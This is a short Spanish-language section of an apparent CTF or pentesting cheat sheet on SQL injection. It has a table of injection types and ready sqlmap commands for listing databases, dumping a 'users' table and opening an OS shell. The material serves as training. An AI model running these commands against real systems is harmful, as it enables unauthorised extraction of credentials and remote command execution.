

8. SQLi

Confirmar, extraer y decidir cuando usar SQLMap.

SQLi se resuelve mejor si primero entiendes el tipo de inyeccion. SQLMap acelera, pero una confirmacion manual evita falsos positivos y ruido.

Tipo	Senal
Error-based	Errores SQL visibles por comillas, casts o payloads invalidos.
UNION-based	La respuesta refleja columnas y puedes alinear SELECT/UNION.
Boolean blind	La respuesta cambia con condiciones true/false.
Time blind	No ves datos, pero sleep/pg_sleep/waitfor delay modifica tiempos.
Second-order	El payload se almacena y se ejecuta en otra vista o accion posterior.

SQLMap practico

```
sqlmap -r request.txt --batch
sqlmap -r request.txt --dbs
sqlmap -r request.txt -D db -T users --dump
sqlmap -u "$URL/page.php?id=1" --risk 2 --level 3 --batch
sqlmap -r request.txt --os-shell
```

- Usa requests de Burp para cookies, headers, POST y auth.
- Sube risk/level solo si la confirmacion basica no basta.
- Si el objetivo es CTF, extrae lo necesario: usuarios, hashes, configs, rutas o RCE.